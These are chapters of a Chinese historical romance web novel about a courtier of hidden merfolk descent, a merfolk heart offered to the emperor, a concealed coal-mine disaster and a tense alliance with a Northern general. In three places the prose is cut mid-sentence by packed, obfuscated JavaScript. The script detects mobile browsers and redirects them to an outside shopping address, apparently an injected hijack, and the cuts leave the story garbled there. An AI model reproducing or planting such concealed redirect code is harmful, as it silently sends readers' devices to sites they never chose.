“但我忘记了,你也会有自己的想法。没有任何金子甘愿被黄沙掩埋,再繁琐的伪装也压不住你天赐的资质,我不能苛求你太多。” 侯爷说:“可是文誉啊,这是条吃人的路。” 沈文誉面不改色地听到这里,眨眼频率总算有了些变化。 “你别这么看你爹,我不是来教育你的。” 侯爷白了他一眼,又忍不住摸起另一朵虞美人尚且完好的花瓣,语气也低了下去。 “爱人如养花,温度、光照、水分,缺一不可。我爱了你母亲很多年,我给她金钱、快乐、安全感,让她如今锦衣玉食、健康优裕,我将她养得枝叶扶疏,花繁如盖,可我知道,她的根不在我这里。” 永康侯顿了顿,好似咽下了一口酸涩,才得以继续。 “你的族人饱经苦楚。所以她的快乐是表面的,而痛苦绵延不绝。” “她嫁入此地的一刻,我便给不了她自由。”沈朝言呼出一口气,“所以你要是想做什么,去做就是了,只要你不后悔。” 沈文誉第一次听侯爷讲出如此掏心窝的话,心绪不免起伏,但除此之外更多的是触动与感激,眼眶微红,正要艰难撑着身子起来跪下。 下一秒听见,“所以这花我不赔了,你重新养一束吧。哦对,这花瓶挺好的,我带走了。” 沈文誉:“……” 侯爷继续摆摆手:“我走了,你搬出去也好,少打扰我们二人生活。” 沈文誉:“…………” 连吃带拿,他就知道沈朝言动机不纯。 . 素琴低眉顺目,在门口跪着,无言等候多时了。 侯爷前脚刚走,她才急匆匆站起身,准备替沈文誉更衣上朝。 沈文誉:“怎么了,有什么事情么?” 素琴很少不等命令,这种情况只有一种可能,她有要事要说。 沈文誉饱受折磨,硬生生熬了一夜,几乎没怎么休息,眉眼间还有几分乏倦,静静地垂着眼,抬手让素琴穿衣时,听见她低声耳语。 “……桃江县……山匪……派出去的几人音讯全无……暂无有关鲛人的消息。” 他蹙拢了眉:“你的意思是,除我们之外,先朝廷一步到达的可能还有另一支训练有素的队伍,对外宣称山匪?” 素琴点点头:“是的公子。” 脑中急遽闪过几种可能性,但都无法确定。 他现在手上有关的线索实在是太少了。 沈文誉有些烦,思绪无路之时,下意识抬手想捏耳朵。 待指尖碰到耳垂,才想起来祖母送自己的耳坠早就摘了——没办法,那坠子造型过于奇特,容易引起不必要的怀疑。沈文誉于是蜷了蜷手指,遗憾作罢。 “既然那边暂时没有鲛人的消息,就先缓一缓,不要打草惊蛇了,”沈文誉交代道,“再差人去调查一下我们的人的踪迹,切记动静一定要轻,有什么消息随时告诉我。” 素琴给他递发冠,闻言应声。 . 宫城之内的官道上禁马,不论职位高低都只能下马车步行入殿。 沈文誉如平常那样上朝,瞧见前方有两位连袂而行,一位身形熟悉,另一位陌生。 他想了想,紧快脚步,欲上前打个招呼。 “祝大人!”沈文誉扬声道。 前方两位一同回头,更熟悉的那位果然是刑部侍郎祝今宵。 祝今宵看清是谁后就弯了眼眸,此人本性难移,举手投足间很快透出几分浪荡气,果然殷勤迎上来。 两人来往寒暄几句,沈文誉望向他身边的人,一时间犯了难:“这位大人是……” 沈文誉虽赋职不久,但私下里认过朝廷众官,不说是全部,对不上名字的人不超过三人。 而对面前这位实在是一点印象都没有。 而这人不知是不懂礼数还是单纯的反应迟钝,话题推进到这里,他本该顺应介绍自己,眼下却只是愣愣地站着,目光直勾勾地盯着他的脸。 沈文誉在这视线下有些不适。 但碍于这可能是祝今宵相熟之人,他没有表现出什么不耐,又笑了笑,眼尾浅浅扬抑的弧度都显得如此精巧,打趣道: “看来这位大人是不想认识我了。” 祝今宵也意识到符尺霜的反应有些奇怪。 这人昨日也没这么不机灵,眼下怎么跟被摄了魂一样。 祝今宵拧眉看向他:“符尺霜?” 符尺霜被叫了名,浑身如过电般几乎打了一个激灵,口中喃喃不已:“太漂亮了……怎么会这么漂亮……” “简直比得上那晚屋里锁着的……” “……什么?”他的话语实在太含糊,沈文誉并没有听清。 “啊、啊,没什么!”符尺霜总算回过神,难掩神色间的懊恼,“真是抱歉,唉,在大人面前这样失态,您喊我小符就好,在下是延和二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刹那间他如坠冰窖,快分不清自己是不是还陷在锁春阁的那场噩梦里。 “不可能吧,”沈文誉勉强一笑,手指死死掐进掌心,嗓子都哑了几分,“祝大人又拿我取笑。哪里有那种东西。” “你不信也是情理之中的,”祝今宵随口道,“之前确实有人上贡过几回,鳞片啊,指甲啊什么的,其实都有可能伪造,但太医院一验便知,真的假的混在一起,具体我也都忘了。” 祝今宵格外照顾他,见他还是发怔,便凑过来,同沈文誉仔细解释。 “我本来也不是很信,但这次的东西太诡异了,心脏都剖出来了,几日过去还在跳动,你说是不是很神奇?” 祝今宵每说一个字,沈文誉的心跳就快过一次,到了后面已经心如鼓擂,震得人胸口发闷,恍惚间,好像嗅到了腥苦的血味。 酸水泛上来,呛得他又生出想吐的冲动。 这下已经是脸色差到祝、符二人都能看出来的程度了。 “怎么了文誉?” 祝今宵手背贴了贴他雪白如冰的脸颊,温度低得可怖,登时一惊,“怎么突然脸色这么差?吓到了吗?我不说了,怪我多嘴!” 青年的眉眼靡丽,就连原本的疲惫都别有一番风情,眼下却像是瞬间枯灭的大团芍药,盛衰不过瞬息,整个人透出几分濒死的破败来。 “我可以……看看么,”沈文誉说到这里,不合礼数将他骂了一通,彻骨恐惧又将他骂了一通,仓促抿了唇,最后甚至不敢同盒子对视,狼狈不堪地偏开头。 “……不,算了,还是不要给我看了。” 祝今宵见他好不容易缓了过来,哪还敢给他看。 永康侯就这么一个小儿子,金贵得很,吓坏了他砸锅卖铁都赔不起,忙应声:“你若是不舒服,便请日假罢。” 符尺霜跟着劝:“是啊大人,左右也不是什么非见不可的稀罕物,若是好奇,来日也有机会的,身子要紧啊。” 唇肉已经叫他咬烂了,铁锈味在齿间漫开,连疼痛也是湿润而苦腥的。 沈文誉垂下纤长如羽的眼睫,心想。 ……啊,原来不算什么稀罕物。 16. 尸骨 …… 楚萧之位来路并不正统。 前朝秘辛早就成了心照不宣的一段历史。英宗身体孱弱,生育不好,在位五年皇嗣青黄不接,病逝之时太子仅两岁。 楚朝内有宦官当道,外有边境豺狼环视、屡次来犯,几乎面临亡国之境,而那群尸位素餐之徒还要依据祖宗法推举太子上位。 彼时楚萧为文昭公主之子,也是英宗的外甥,封地常州号恭璟王,远在拓北,借回京探望舅舅的名义,一路突破重重围堵,率兵封锁了京城。 朝廷对藩王的兵力有严格把控,而常州距京城相隔千里,数万大军的转移和大范围招募绝对无法逃脱朝廷监视。 而偏偏当时西域楼兰、戎卢、卑陆同时侵扰边关,禁军的调动遮掩了楚萧的动作,楚萧得以顺利进京。 此为其一。 说来也怪,就在楚萧回京的当天,太子突然重病,哭闹之余高烧不止,而表兄弟两人完全没有接触过,就算有众臣们有再多怀疑也无法参奏,只能干瞪着眼听着遗诏宣读中传位之人更改为楚萧。 至于后世广为流传的说法中,确实提到原本的遗诏便是将皇位传于楚萧,此事暂且按下不提。 京城被封锁,通信被彻底阻断,皇帝之位空悬,排布下去的三十万禁军群龙无首,偏偏战事吃紧。 世族为首的温氏率先看清楚形势,称只有楚萧才能挽大厦将倾,让楚萧暂且代行皇帝之事。有了这个借口,各部就坡滚驴,纷纷承认新皇。即使众人心知肚明,代行只不过是一个说法而已,皇帝是谁已经毋庸置疑了。 此为其二。 由此可见,这其中决定楚萧登基的两个关键转折,偏偏都是由看似凑巧的偶然堆成的。 鲜少人知的记载中提到,楚萧驻边多年,进京前与西域外族达成了合作,助他谋反。却又在即位时翻脸,两者合作破裂,此前允诺的条件均作废。具体情况不明,但这也是为何延和帝如此厌恶外族的依据之一。 延和帝即位后,不知是否因为其来路不正,心中有愧,才开始疯狂追求起了长生,发现鲛人可以延长寿命的记载后更是几近陷入痴迷,不惜任何代价开展捕捞。 货真价实的鲛人鳞在拍卖中价值可达三千两黄金,在悬赏令发布后,进贡之物最多的便是鳞片。 除了相较于其他之物更易得到这一点之外,便是此物易伪造。但伪造之人下场凄惨,轻则绞刑,重则诛三族,久而久之,进贡的人越来越少。 其次是肉。 但从未有过心。 . “陛下,臣有要事相禀。” 例行汇报完毕,祝今宵果然上前躬身禀报。延和帝原本在揉鼻弓,抬手允了,好奇看向他:“哦?” 符尺霜此前被人领着进殿,路过百官时奇迹般在人群中找到了沈文誉,两人短暂地对视一眼,由沈文誉先漠然移开视线。 符尺霜莫名读懂了这眼神。 是一种对将要发生的任何事物都漠不关心的眼神。 好像就算有人在这时候冲上去捅他一刀,他都只会淡淡瞥伤口一眼,说心脏不在这里。 “陛下万金之躯,得天独眷,臣谨献人鱼礼,愿此物能解陛下烦忧。” 符尺霜将献礼高举过头,经当值太监两次转手,最后才由黄公公送到楚萧面前。 楚萧果然起了点兴趣,笑道:“怎么?又是鳞片?” “非也,”符尺霜跪着,姿态恭敬,“陛下一看便知。” 百官神色各异地看向龙椅,见延和帝将箱匣打开,不知从中瞥见了什么,竟然失态到站了起来,头顶十二旒冕发出清脆碰撞之声,如珠落玉盘,哗啦啦乱成一片。 “为真!?”楚萧声音难掩亢奋,方才说完这两字,喉腔中就忍不住发笑的气流,“是了、是了……假不了,还在动呢,假不了……” 底下官员不知什么情况,窃窃私语了起来。 楚萧心情好到简直可以为此赦免天下,看谁都顺眼三分,于是示意符尺霜平身,语气温柔: “好、好、好,你想要什么?升官晋爵还是万贯财产?你尽管说,朕什么都答应你。” 真是烂透了。 裴止弃心道,快控制不住发出冷笑。 于是符尺霜在各方各异的注视下又一磕头。 磕的时间很长,像是就这个姿势化成了一座雕塑。许久,才听见他带着颤的声音传出。 “谢陛下金恩,但臣今日索求并非为自己,而是为了一件被隐瞒之事。” 延和帝:“你尽管说。” 符尺霜眼底闪着猩红之色,神色兀地激动起来,手臂发着抖,又是重重一磕! 那声线沉重刻骨,带着泣音传出: “徐州苏临煤矿爆炸,消息被一压再压!官员明知煤矿漏气,还逼压矿民下矿!矿民不愿,便派兵丁捉北人替代,二月初下矿当日煤矿便着了火,炸成了一片火海,下矿男女老少总三百余名北人尸骨无存——” 字字句句,带着恨意砸在金銮殿上。 二月初爆炸的余波时隔近两个月,历尽千辛,终于传到了京城。 余震惊得在场之人均是哗然。 尸骨无存的三百人伸出骨手,企图通过一人之口,将被火烧的绝望歇斯底里地喊出来,将草芥人命之徒拖入苦海炼狱。 “不仅如此,剩余那些孤儿寡母没有得到任何安抚,告官无门,反倒被捉了几十人进去,一晚上全死了! “壮丁死,妻儿哭!北人联合原本的楚人矿民当场就反了,两次暴乱被镇压,死伤无数,消息被拦数回,苏临官天良丧尽!草民恳请陛下撤其官职,恳请陛下严查,严查、严查!! “这是官逼民反——!” 符尺霜一口气说完,发现这是第一次没有兵丁冲上来把他带下去然后被处笞刑,他终于得此说完整这段话,忍不住红了眼眶。 他没有发现的是,这时候众人的目光早就不在他身上了。 连带着延和帝一起,几乎所有人都下意识看了角落之人一眼。 裴止弃垂着眸,手上转着扳指,籍此挡住了四方注视,众人看不清他的表情,只能看见他耳侧辫了细细一条辫,搭在肩上——是北人的又一特征之处。 “胡说!”一官越众而出,“这么重要的事情,仅凭你一面之词,如何取信!?” “人命关天!”另一官的脸涨红,驳斥道,“谁会拿这种事情开玩笑!” 沈文誉视线落在裴止弃拨弄扳指的手上,那劲瘦青筋原本潜伏在肌肤之下,眼下更突兀了几分,横纵延伸入腕骨,如有生命般,带着呼之欲出之感。 而上次类似的情况,是裴止弃这只手用力掐住了沈文誉的脖颈。 沈文誉心想,比起那些死伤的蝼蚁,重要的是皇帝都被隐瞒了啊。 此言一出,再好的心情也被冲淡了。 延和帝沉默良久,抑着怒火霍然开口:“内奏事处呢?谏院呢?为何没有相关消息呈报,知府的述职文簿没有提到吗?!” “——难道是觉得你们比朕还清楚什么该说什么不该说吗?!” 中书门下给事中之一盛宗恰好记得此事:“陛下息怒,此事有禀,内容应当是‘苏临矿塌,死伤十余人,已唁慰’,煤矿塌陷不算稀罕,中书便将其按下了,眼下可随时取调。” “臣也有一言,”工部侍郎奚允兴拱手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113917|195884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,“朝廷亏空,为着手修建明沁园,户部又拨不出银子来,工程几度延缓。徐州苏临煤矿分润极高,屡次解了工部燃眉之急。臣恳请陛下从轻发落。” “你的意思是,”御史江沿冷笑一声,“陛下要修建园子,你工部一群无用之物造不出来,为了些分润就替其开脱,是不是还要说隐瞒得好,不然真闹出事来了,之后你们哪来的银子赚?到了后面是不是还要怪陛下铺张无度?” “江言官,”奚允兴不紧不慢道,“我只是说苏临有功,没说隐瞒没错。再说了,没钱怎么建殿宇、怎么拨款、怎么发俸禄?二月初恰逢年初,众官均报喜不报忧,也许知县是好心,不愿让陛下烦忧呢。” “再说了……” 奚允兴只是起了个话头,在场所有人却都听出了他想说的是什么。 ——只是北人死得多了点而已,确实不足挂齿。 “哈,”江沿道,“我算是看出来了,想必奚侍郎在其间没有少得好处罢,百姓暴乱在你嘴中颠倒后,倒成了体贴陛下的好事一桩,裴副指使呢,你便对此无动于衷吗?!” 战火终于引导了在场身居高位的北人身上。 奚允兴几句话一出,此时延和帝的表情已经有几分不自然,沈文誉看出了他的息事宁人之意,并不太意外,更好奇裴止弃会怎么说。 裴止弃终于停下了手中动作,漫不经心地一撩眼。 众人不禁屏息。 “既然苏临为朝廷解了忧,矿民们都算是为朝廷效力,这当然是好事。”裴止弃缓慢道,“意外不能避免,只是可惜了他们这十几人。” “十几人!?”符尺霜目眦欲裂,“是三百人!!算上伤患与下落不明之人,伤亡共三百九十四!!受暴乱之扰的百姓上千人!” “哦,三百人,”裴止弃轻言道,“抱歉,方才走了个神,没听清楚。” 奚允兴也有些意外。 他没想到裴止弃这么轻巧地放下了这件事,还帮忙默认了一笔生死账,连忙跟上:“既然如……” “只是,”裴止弃话题一转,“记得我被调回京城后,工部去年年中就说要给我建校场,结果亲卫军都拿到新地了,我这边至今还没个影,再拖下去,我得带着兵去我家后院里练了。” “呃……这……” 奚允兴没想到裴止弃会突然提到这茬,支吾了半天。 裴止弃那边的校场方案早就被弃置了,就是说说而已的,谁都没打算真给,反正他也掀不起什么水花。可偏偏是眼下这个时机提出,叫他怎么解释都不对。 “好了,允兴,这事是你不对。”延和帝发了话,语气平和,“拨块地给他,让他下了朝去看看,想要的话就加紧把校场建了,五月内完工。” 奚允兴登时什么话都没了:“是。” 延和帝缓缓吐出一口气,将手中箱匣搁下,居然喊了裴止弃的名字: “止弃,今日之事朕会差人彻查,一定还你一个公道。至于校场,若是有族人寻求你的庇护,让其入伍服役也未尝不可。” 裴止弃不置可否:“谢陛下,陛下仁厚英明。” 延和帝又定定看了他两眼,将军平静如一潭死水,好像那掷入其中的巨石真的没有掀起丝毫波澜。冷静到有些刻薄了。 陛下对他的反应很满意。 “至于彻查一事——”延和帝环绕一圈,沉思半晌,点了点沈文誉。 “就擢沈文誉为徐州巡察处置使罢,调查苏临爆炸案,择日离京。” 此话一出,在场所有人都是愕然,心中不约而同冒出一个念头: ……谁? 他查? 他会好好查个鬼啊。 17. 不爽 “什么——?!” 沈文誉险些被甩下马,有些无奈:“冷静一点,不要总大惊小怪的。” “是我大惊小怪的问题吗?”宋鹤简直要服他这既来之则安之的性子了,“是京官不好吗,干嘛把你往外边派,苏临这么远,你得去多久?!你服个软不行吗!” 沈文誉嗤笑:“不会。” 宋鹤:“…………” 不管怎么说,好友也是担心。沈文誉又解释了几句:“不过你也别担心,陛下这个意思就是让我轻拿轻放,不然也不会提拔我。” 宋鹤有些狐疑:“让你去就是轻拿轻放的意思?” 他说完这句,突然想起众人皆知的沈、裴二人之间的矛盾,登时了然。但他或多或少也从朝堂上听了些音,知道爆炸案是怎么回事,又有些面露不忍,问:“那你是真的准备……” 对他们放任不管吗? 沈文誉没有回这句话。 他与宋鹤同骑一匹马。这马据说是宋鹤花大价钱搞来的,体态矫健,通体瑕白如玉,经络隐约可见,流汗时照映得珠光溢彩。只是宋鹤似乎马术不行,在山路上行得极为颠簸。 只是苦了沈文誉,他原本就是侧身坐着,由于宋鹤的大惊小怪,差点被颠下去两回。 “就是这里了,停了。” 宋鹤依言停了马,发现沈文誉把自己带到了一片极其偏远的地方,山脉遥远,灌木低矮稀疏,偶有一两声具有穿透力的清越鸟鸣,又添荒凉。 “这是做什么,”宋鹤一头雾水,“你打算把我骗过来埋了,然后偷走我的马吗?” “谁稀罕。” 沈文誉低着头跃下马,“你回去吧,谢谢你送我来。” 宋鹤拉住他:“老实交代,你干嘛去?这又是哪儿?” 沈文誉回眸,冲他莞尔,带着几分天真询问:“这儿是新拨的校场,我去找裴止弃,你也要来吗?” 宋鹤:“……” 宋鹤:“?” 他最好的朋友究竟是怎么做到用这样的表情说出“我去找死”几个字的? “不行!”正义感瞬间涌上心头,宋鹤一脸大义凛然,“是我把你带过来的,我要和你一起去,要杀要剐都任他处置!” 这又是脑补了什么东西。 沈文誉敷衍道:“你别瞎凑热闹,我去去就回。” “好吧,”宋鹤无奈作罢,声音听起来十分遗憾,“不过说到校场,我听我爹说,裴止弃三百多名族人被爆炸活埋,连陛下听着都有些不忍心了,他居然一点都没当回事,反而就要了个校场?” “诶你说,这人是不是没心没肺啊?” 沈文誉听到这里,不受控制地想到了朝堂上的那一眼。他与裴止弃一文一武,身处不同的队列,却依旧看清了他一瞬间紧绷的下颚线条。 所以他露出一个不甚明显的笑:“你不觉得他很聪明吗?” 宋鹤一愣:“什么意思?” 沈文誉看向没心没肺的宋鹤,总算感同身受了他父亲宋明琛一回,有些愁。 “你觉得什么人擅长审时度势?陛下收了喜欢的礼却不能完成符尺霜的心愿,为此不免心虚,裴止弃占据高点,却在这时给了他一个台阶下,显得这般识趣而温驯,陛下肯定满意。 “天秤上一面是几百条讨厌的人命,一面是货真价实的银子,孰轻孰重不消多说。至于裴止弃,他到底痛不痛苦这并不重要,重要的是他什么态度。他这么快反应过来,甚至还能利用圣上这点微薄的内疚之心,顺势讨了点好,这才是难得之处。” 宋鹤听得目瞪口呆,有些茫然地抓了抓脑袋。 “啊?就这么几句话也要想这么多吗?我说你们心眼子这么多干嘛,相互之间不能真诚一点吗,多没意思啊。” 宋鹤继续发表他的高见:“我怎么感觉,可能他就是想要个校场了呢?其他人都有,他大老远被拉过来当官还不给练兵的地方,肯定不乐意吧?” 沈文誉:“……” 沈文誉很想让他骑着马一边玩去,但又觉得有这种心实在可贵。 为官沉浮,事关利益,真诚早就成了无心调侃。 也许只有朋友之间才配谈这两个字罢。 “好吧,”沈文誉不想踩着泥,低头认真分辨着路,在宋鹤的关切注视下走远了,“那我去问问他现在开心不开心。” 宋鹤:“……” 倒也不必。 . 顺着石子路往里走去,里头校场有个粗糙的形,比武台已经有些荒废了,不知是动工未遂,还是前朝留下来的东西。 边缘架着几块长高的靶子,其中有两块也许因为年纪大,中央漆已经掉的差不多了,上面扎了几支箭,支棱着贯穿了木板。 这些箭的准心高的恐怖。更有几支箭精准将靶子红心上原有的纤细的箭杆劈成两半,深深没入其中不断。 沈文誉一眼便看见了远处架箭拉弓的裴止弃。 裴止弃面无表情地看他一眼,缓缓将箭搭上弦,略微偏过头,左眼微眯。微蜷的卷发散在身后,凌厉五官不加遮掩地露出来,英俊得锋芒毕露。 他什么话也没说,拉满了弓,然后一点点将箭尖对准了沈文誉。 轻甲之下的肌肉线条流畅而张力,带着兽类特有的爆发感。 “咻——” 箭羽破空啸响,在沈文誉冰蓝的瞳孔中映出尖点,气流如分海般层层往两边铺去,一时间万籁俱寂,广阔天地中只有箭羽在急遽逼近,眼见着就要没入血肉之中。 沈文誉连眼睛都没有眨。 绸软青丝叫利风撩起,纷飞如瀑。 ——锐利的箭镞冲势不减,铮然钉入他身后的木靶中! 由于力道可怖,那箭末的猛禽翎羽还震颤不休,带着令人目眩头晕的嗡鸣之声。 “好乖。”裴止弃随口夸了一句,声音听不出什么起伏,“你过来做什么?” 沈文誉没回。 “你最好挑好了话再说,”裴止弃再度搭弓,“我现在心情不是很好。” 生死边缘走了一遭,沈文誉也看不出什么劫后余生的庆幸。 只在这句警告后终于动了,抬步走向裴止弃,闲逸得像在自家后院里遛弯。 他凑上前,截了裴止弃的手,手指搭在他拉弓的手背上——十指细长而莹白如玉,一看就是养尊处优的少爷——示意裴止弃把这根箭给他。 “裴止弃,”沈文誉开口说了第一句话,“你字什么?” 裴止弃没想到这人开口第一句话是这个,自上而下睨他一眼,喉结微微滚动。 “字无,”裴止弃道,“徒劳无功的无。” 沈文誉便拿着箭,在沙地上写了个“无”字,状元郎吃饭的工夫没落下,字带着劲瘦筋骨,横撇转折和人一样漂亮得要命。 “裴无,”沈文誉薄唇开阖,念了一遍,点评道,“好不吉利的名字,谁同你取的?” 被说名字晦气,裴止弃也没恼,轻笑一声,“族人起的,”他道。 “我自幼父母双亡,吃百家饭长大。他们把我当自己的小孩养,费尽心思疼爱,便是流亡中也没有少过我一口吃的。说无也好,无退路,那便无不胜。” 裴止弃明显不愿多提,三言两语说完了自己的名字来源,然后见沈文誉若有所思地点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“如果你想往上爬,先与兵部尚书魏延合作,而魏延投诚清流党,与以温党为首的世家向来不和。 “苏临爆炸案你与我同去,我要查,但查的不只是这个。你应当也不放心我独自行动罢?事关你族人,有许多事情我不好表明立场,容易惹来怀疑,得你来做才顺理成章。况且我猜里面有世家手笔,若我猜测不错,事成后,清流自会信你诚意。” 无可指摘的诱人条件。 清流对待外族的态度更为温和,北人定居的事情也是在那几人的力争里定下来的,与他们合作确实是不二选择。 裴止弃早便有过这个想法,只是迫于被监视,行动几经停滞。 沈文誉目前的立场疏北,因而想要假借裴止弃陪同监督一事展开详查。 他对外则说受于裴止弃的胁迫,所作所为都并非本意,从而深入调查。对裴止弃来说,在保护族人的同时也能证明自己的立场,找机会接近清流。 裴止弃眉眼峭利,是凉薄的长相,偏偏眼睫浓长还带点卷,光打不进瞳孔里,显得视线愈发沉郁漆黑。 他就这么目光沉沉地看着沈文誉。 心想,啊,现在开始哄.诱我。 “我再告诉你一个秘密。” 沈文誉将箭镞抵在裴止弃胸前护具,顺着轻轻滑下来,然后精准停在左心位置。这种隔靴搔痒之感让裴止弃觉得自己好像被小动物碰了碰。 沈文誉的唇角是勾的,眼底的蓝却冷到像是化不开的冰。 郁火堵在他的心口,无时不刻不在折磨他,闭上眼就要想到那颗跳动的心脏。 “祝今宵同我说了,上贡之人宣称自己因贪污被撤职是冤枉的,而据我探子来报,他可是货真价实地贪了几笔呢。” 沈文誉垂下眼睫,语气带着几分不谙世事的天真,“撒谎之人吞针,我想要剜出他的心脏,应该也不过分吧?” 裴止弃有些意外地扬眉:“怎么恨成这样?” “因为我心情不好,裴止弃。” 沈文誉微微笑着喊他名字,“我心情也不好。” 18. 小鱼 由于裴止弃临时横插一脚,朝廷上又为此吵了两天。 裴止弃义正辞严宣称是“为保护徐州巡查处置使沈文誉的安全”,但明眼人都知道是为了监视制衡沈文誉,以免他做出什么对北人不利的事情。 由于实在是意料之中,甚至一致觉得裴止弃找的理由漏洞忒明显了些。 “实际上是你们暂时达成了合作?” 祝今宵将茶沫撇去,轻吹热雾,抿了一口发现味道尚可。茶杯磕在金丝楠木桌几上发出清脆声响。 室内茶香四溢,外头小银勾挂住了青纱帐幔,铺天的茫茫日光洋洒,照得里间明亮温暖,碎落花影倾斜在檐下,随风轻轻摇晃,拓出两人颀长的身影。 客人一身靓青色对襟窄袖长衫,领口袖口都绣着银丝边银鱼纹的滚边,透着非富即贵的精致,锦缎似的长发铺陈在后腰,耳垂别了条玉坠子。 玉坠子模样讨巧,是条游鱼的形状,灵动至极,瞳孔可爱,宛若赋了生。 客人自是沈文誉。 沈文誉弯了眼眸,言语轻快:“是啊,其实裴大人没有说错,但大家总爱猜,并对那些猜出来的东西深信不疑。既然如此,就让他们这么想好了,反倒还能更快达成目的。” 祝今宵听着有些好笑:“没说错?难不成裴大人不辞辛苦,还真是为了护你周全么。” 沈文誉端起茶杯挡了半边脸,只是啜着浅笑,也不多言。 祝今宵一顿。 他总觉得沈文誉这句话让他联想到了什么,但有些突然,一时也抓不住眉目。 “疏名让我弄的东西我找来了,但不知道你要这个做什么?”祝今宵将褐黄的信封推至沈文誉面前。 沈文誉撩起袖子,探过手来收下,眉眼缓和,总算露出半个真情实意的微笑来。 “谢祝大人……我也不知道此物到底有没有用,但以防万一,提前备着也好。” 祝今宵这才发现这人真笑起来和做表面工夫是完全不一样的。 沈文誉真愉悦时,眼尾轻敛,笑意盈溢,日光在他瞳孔盛着的浅蓝的湖泊里沉浮,波光粼粼。相较之下,平常那些笑便显得有几分虚情假意了。 爱美之心人皆有之,祝今宵忍不住又对他怜爱了几分,细细嘱咐起来。 “那行吧,但毕竟立场不合,左右你也防着点裴止弃。这事估计就这么定下来了,京外不比京城,天高路远,即使你身为巡查使且有裴止弃相护,也要注意安全。” “是,”沈文誉自然应了,“对了,祝大人,虽然有些逾矩,但还是想提醒一声多多看管符尺霜的举动,我总疑心他隐瞒了什么。” 沈文誉不能直说的是,桃江县山匪绝对非普通流民匪患,自己派出去的怎么样也算是近卫精锐,结果居然无一幸免。 符尺霜一介书生,无凭无依,凭什么全身而退? 祝今宵闻言,若有所思。 待到沈文誉离开,祝今宵才将侍女唤来。 “……封和衍已经离开了吗?” “客人今早刚离开了。” 由于封和衍向来来去随意,祝今宵便也没有多问。 他又想到沈文誉方才一句无心之言,若有若无的怀疑总算凝成了实处,缓慢呼出一口气,心往下沉了沉。 符尺霜同他交谈时,最开始明显说的是假话,被他揭穿后才老实交代了鲛人心的来历,这算不算沈文誉所说的‘自以为猜出来的真相’? 由于第二段内容逻辑自洽,还算符合他的预期,再加上鲛人心一物不容怠慢。祝今宵认为他不敢再说谎,对他的信任也短暂地建立了起来。 ……但若他后续说的也全都是谎话呢? . 从平京赴徐州,巡查处置使马车旁本该四骑护驾,马车后还有两骑随从同行,排场煊赫铺张,尽显达官显贵们的身份。 但由于有裴止弃同行,一些护卫也排不上用场,留着也是累赘,再加上沈文誉要求一切从简,索性便将骑兵都撤了。 当裴止弃策马停在宅邸门口时,沈文誉眉头紧了紧,总算意识到了不对。 “好歹给你的上级准备一辆马车,”沈文誉抱着臂,面色不虞,“我不骑马。” “备着呢,”裴止弃喉腔中滚出轻缓而惬意的笑意,“先上来,我带你去个地方,我马术还不错,不至于难受。” 沈文誉看着裴止弃递过来的那只手。 骨节宽大流畅,遍布着增生的疤痕。确实是久经兵戈的手,指腹茧子好了又破,带着会刺痛人的粗糙感。 他默默想了想,还是将手搭上去,很快被拉着上了马。 裴止弃跑起马来确实平稳,再加上他有意控制速度,一路上几乎没有什么颠簸感。 ……但为什么是这个姿势? 裴止弃两手从他侧腰穿过,稳稳牵住缰绳,由于空间狭窄,两人贴合得严丝合缝,胯骨流畅的曲线处倒成了搁手的好地方。 裴止弃环过沈文誉纤细腰身,甚至还有闲心将他往怀中按了按。 裴止弃:“总动什么?” 男人滚烫呼吸抚在后颈,沈文誉耳后一麻,偏头躲了过去。 远高于自身可承受的温度带来蛮横无理的侵略意味,他后背像是烧起来了,险些变成第一条半身不遂的鱼。 沈文誉终于咬牙切齿地控诉起来:“好烫……” 蚊喃般的声音,裴止弃没听清:“什么?” “……烫……” 简直是无理取闹的抗议。 裴止弃轻笑了声,完全没当回事:“那你再忍忍,很快就到了。” 裴止弃确实没说错,路程不远,很快就到了。 此地已经靠近城门边缘,和远处那巍峨的青砖城墙一作对比,此地略显破落,藉由乌曲廊的中后段构成。 这一带多为民住廊房,是京城内北人的集中居住地,多为自建。清一色的短檐庐舍带十步小院,虽然没有官府组织,但布局也算井然有序。 不少院落里堆积着劈好了的柴火,有些草坪还栽着黄雏菊花,地方逼仄但收拾得齐整干净;紧邻的两家之间居然不设围墙,仅由竹木编织的篱笆构成,由于饱受风雨侵蚀,结构已经有些斑驳了。 “你若真是那位‘恩人’,也该熟悉这里了。” 裴止弃领着沈文誉往里走,期间绕过了一只跌跌撞撞拽他裤腿的懵懂小孩。 沈文誉知道玉佩资助一事他还在怀疑,便有意打岔,于是也拉了拉裴止弃的袖口,示意他低个头。 “好吧。” 裴止弃叹了一口气,有些无奈,抄过那小孩腋下将人抱起来,“你是谁的仔仔?” 哄小孩不是将军的天赋,大多数时候他一抱小孩就张着嘴要哭,裴止弃已经做好了到时候扔给沈文誉哄的准备。 但眼下这个乖得要命,见自己被哥哥抱了起来,下腋还有些痒,于是眯了眯眼睛,竟缩着脖子咯咯笑了起来。 “a、安……多隆……” 沈文誉听着发音奇怪:“嗯?” “是族人名字,”裴止弃解释道,“虽然因为中原化,大多数都有了汉人名,但有时候顺口惯了,私下里还是喜欢叫原来的名。” “原来如此。”沈文誉点点头,说完这句就没了下言。 没有别的要问的了么? 裴止弃分心瞧了他一眼,恰好与人对上视线。沈文誉七窍通透,自然看出了裴止弃眼神里有话:“怎么?” “没怎么,”裴止弃让小孩坐在他肩上,往屋舍里走去,“我还以为你会问我的本名。” 沈文誉想了想。 “知道了也不会叫……问它做什么。” 